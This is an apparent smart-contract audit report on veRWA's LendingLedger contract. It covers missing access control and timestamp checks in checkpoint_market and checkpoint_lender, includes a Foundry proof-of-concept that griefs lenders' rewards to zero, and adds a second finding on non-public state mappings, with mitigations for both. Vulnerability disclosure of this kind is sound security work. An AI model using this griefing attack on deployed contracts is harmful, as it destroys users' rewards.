veRWA - ladboy233's results

Impact

User's claim and sync_lender will be griefed at low cost

Proof of Concept

   /// @notice Trigger a checkpoint explicitly.
    ///     Never needs to be called explicitly, but could be used to ensure the checkpoints within the other functions consume less gas (because they need to forward less epochs)
    /// @param _market Address of the market
    /// @param _forwardTimestampLimit Until which epoch (provided as timestamp) should the update be applied. If it is higher than the current epoch timestamp, this will be used.
    function checkpoint_market(
        address _market,
        uint256 _forwardTimestampLimit
    ) external is_valid_epoch(_forwardTimestampLimit) {
        require(
            lendingMarketTotalBalanceEpoch[_market] > 0,
            "No deposits for this market"
        );
        _checkpoint_market(_market, _forwardTimestampLimit);
    }

    /// @param _market Address of the market
    /// @param _lender Address of the lender
    /// @param _forwardTimestampLimit Until which epoch (provided as timestamp) should the update be applied. If it is higher than the current epoch timestamp, this will be used.
    function checkpoint_lender(
        address _market,
        address _lender,
        uint256 _forwardTimestampLimit
    ) external is_valid_epoch(_forwardTimestampLimit) {
        require(
            lendingMarketBalancesEpoch[_market][_lender] > 0,
            "No deposits for this lender in this market"
        );
        _checkpoint_lender(_market, _lender, _forwardTimestampLimit);
    }

this two function lacks access control, the caller is never validated, meaning anyone can call this function

the market is not validated to see if the market is whitelisted or not

the timestamp is never validated, the is_valid_epoch(_forwardTimestampLimit) is insufficient

  /// @notice Check that a provided timestamp is a valid epoch (divisible by WEEK) or infinity
    /// @param _timestamp Timestamp to check
    modifier is_valid_epoch(uint256 _timestamp) {
        require(
            _timestamp % WEEK == 0 || _timestamp == type(uint256).max,
            "Invalid timestamp"
        );
        _;
    }

the user can just pick a past timestamp as the _forwardTimestampLimit

for example, if we set _forwardTimestampLimit to 0

then for example in _checkpoint_market

   function _checkpoint_market(
        address _market,
        uint256 _forwardTimestampLimit
    ) private {
        uint256 currEpoch = (block.timestamp / WEEK) * WEEK;
        uint256 lastMarketUpdateEpoch = lendingMarketTotalBalanceEpoch[_market];
        uint256 updateUntilEpoch = Math.min(currEpoch, _forwardTimestampLimit);
        if (lastMarketUpdateEpoch > 0 && lastMarketUpdateEpoch < currEpoch) {
            // Fill in potential gaps in the market total balances history
            uint256 lastMarketBalance = lendingMarketTotalBalance[_market][
                lastMarketUpdateEpoch
            ];
            for (
                uint256 i = lastMarketUpdateEpoch;
                i <= updateUntilEpoch;
                i += WEEK
            ) {
                lendingMarketTotalBalance[_market][i] = lastMarketBalance;
            }
        }
        lendingMarketTotalBalanceEpoch[_market] = updateUntilEpoch;
    }

we set the lendingMarketTotalBalanceEpoch[_market] to 0

then if the next call of the _checkpoint_market, the for loop would never run because the lastMarketUpdateEpoch is 0

over time, even when the for loop inside _checkpoint_market does run, the caller are forced to pay very high gas fee

same issue applies to _checkpoint_lender as well

user can decrease lendingMarketBalancesEpoch, even to 0

basically, if a malicious actor call these two function with forwardTimestampLimit 0,

then the _checkpoint_lender and _checkpoint_market would never run inside sync_ledger and claim reward

because user's reward can be griefed to 0 and stated are failed to updated properly

POC 1:

  function testLackOfAccessControlSyncMarket_POC_1() public {
        payable(ledger).transfer(1000 ether);
        uint248 amountPerEpoch = 1 ether;

        uint256 fromEpoch = WEEK * 5;
        uint256 toEpoch = WEEK * 10;

        address lendingMarket = vm.addr(5201314);

        vm.prank(goverance);
        ledger.setRewards(fromEpoch, toEpoch, amountPerEpoch);
      
        vm.warp(block.timestamp + WEEK);

        vm.prank(goverance);
        ledger.whiteListLendingMarket(lendingMarket, true);
        address lender = users[1];
        vm.startPrank(lendingMarket);

        int256 deltaStart = 1 ether;
        uint256 epochStart = (block.timestamp / WEEK) * WEEK;
        ledger.sync_ledger(lender, deltaStart);

        // gaps of 3 week
        uint256 newTime = block.timestamp + 3 * WEEK;
        vm.warp(newTime);
        int256 deltaEnd = 1 ether;
        uint256 epochEnd = (newTime / WEEK) * WEEK;
        ledger.sync_ledger(lender, deltaEnd);

        newTime = block.timestamp + 20 * WEEK;
        vm.warp(newTime);

        console.log("---sync ledger after set the update epoch to 0 --");

        // ledger.checkpoint_market(lendingMarket, 0);
        // ledger.checkpoint_lender(lendingMarket, lender, 0);
        ledger.sync_ledger(lender, deltaEnd);

        vm.stopPrank();
        vm.prank(lender);

        uint256 balanceBefore = address(lender).balance;
        ledger.claim(lendingMarket, fromEpoch, toEpoch);
        uint256 balanceAfter = address(lender).balance;
        console.log(balanceAfter - balanceBefore);

        vm.expectRevert("No deposits for this user");
        ledger.claim(lendingMarket, fromEpoch, toEpoch);
    }

if we run the POC, we get the normal result, user can claim and get 6 ETH as reward

 ---sync ledger after set the update epoch to 0 --
 6000000000000000000

if we uncomment:

  // ledger.checkpoint_market(lendingMarket, 0);
  // ledger.checkpoint_lender(lendingMarket, lender, 0);

the claimed reward goes to 0

Tools Used

Manual Review

Recommended Mitigation Steps

add access control to checkpoint_market and checkpoint_lender

        if (lastMarketUpdateEpoch > 0 && lastMarketUpdateEpoch < currEpoch) {
            // Fill in potential gaps in the market total balances history
            uint256 lastMarketBalance = lendingMarketTotalBalance[_market][lastMarketUpdateEpoch];
            for (uint256 i = lastMarketUpdateEpoch; i <= updateUntilEpoch; i += WEEK) {
                lendingMarketTotalBalance[_market][i] = lastMarketBalance;
            }
            if (updateUntilEpoch > lastMarketUpdateEpoch) {
                lendingMarketTotalBalanceEpoch[_market] = updateUntilEpoch;
            }
        }

Line of Code

https://github.com/OpenCoreCH/test-squad-verwa/blob/9b5b194075d5b84a8da9c9f8df072f34258e6520/src/LendingLedger.sol#L17

Impact

Impossible to query the crucial smart contract state in LendingLedger.sol for on-chain / off-chain service

Proof of Concept

    mapping(address => bool) public lendingMarketWhitelist;
    /// @dev Lending Market => Lender => Epoch => Balance
    mapping(address => mapping(address => mapping(uint256 => uint256))) lendingMarketBalances; // cNote balances of users within the lending markets, indexed by epoch
    /// @dev Lending Market => Lender => Epoch
    mapping(address => mapping(address => uint256)) lendingMarketBalancesEpoch; // Epoch when the last update happened
    /// @dev Lending Market => Epoch => Balance
    mapping(address => mapping(uint256 => uint256)) lendingMarketTotalBalance; // Total balance locked within the market, i.e. sum of lendingMarketBalances for all
    /// @dev Lending Market => Epoch
    mapping(address => uint256) lendingMarketTotalBalanceEpoch; // Epoch when the last update happened

    /// @dev Lending Market => Lender => Epoch
    mapping(address => mapping(address => uint256)) userClaimedEpoch; // Until which epoch a user has claimed for a particular market (exclusive this value)

    struct RewardInformation {
        bool set;
        uint248 amount;
    }
    mapping(uint256 => RewardInformation) rewardInformation;

This is a few crucial states in the LendingLedger.sol

the map / nested map

• lendingMarketBalances
• lendingMarketBalancesEpoch
• lendingMarketTotalBalance
• lendingMarketTotalBalanceEpoch
• userClaimedEpoch
• rewardsInformation

are all by default internal

without adding the public modifier

it is impossible to query onchain data to know some very common info for both onchain or offchain intergration

for example, a offchain or onchain service may interest in query

• is a reward info set for a epoch? - we cannot get it because rewardsInformation missing public modifier

• what is the reward in for a epoch? - we cannot get it because rewardsInformation missing public modifier

• what is the user claimed balance for epoch? we cannot get it because userCLaimedEpoch missing public modifier

-what is the lending market balance and a lending balance of a user in a market? we cannot get it because the lendingMarketBalance and lendingMarketTotalBalance are missing public modifier

there is also no method to preview the reward for a epoch as well, I can imagien it is very natural for external service to query such info for display purpose

https://docs.code4rena.com/awarding/judging-criteria/severity-categorization

2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.

In this case, the missed public modifer greatly impact the availability of the LendingLedger.sol contract

Tools Used

Manual Review

Recommended Mitigation Steps

Add public modifier to following:

• lendingMarketBalances
• lendingMarketBalancesEpoch
• lendingMarketTotalBalance
• lendingMarketTotalBalanceEpoch
• userClaimedEpoch
• rewardsInformation

and add a method to query summarized user info and the reward that are eligible to claim given a epoch range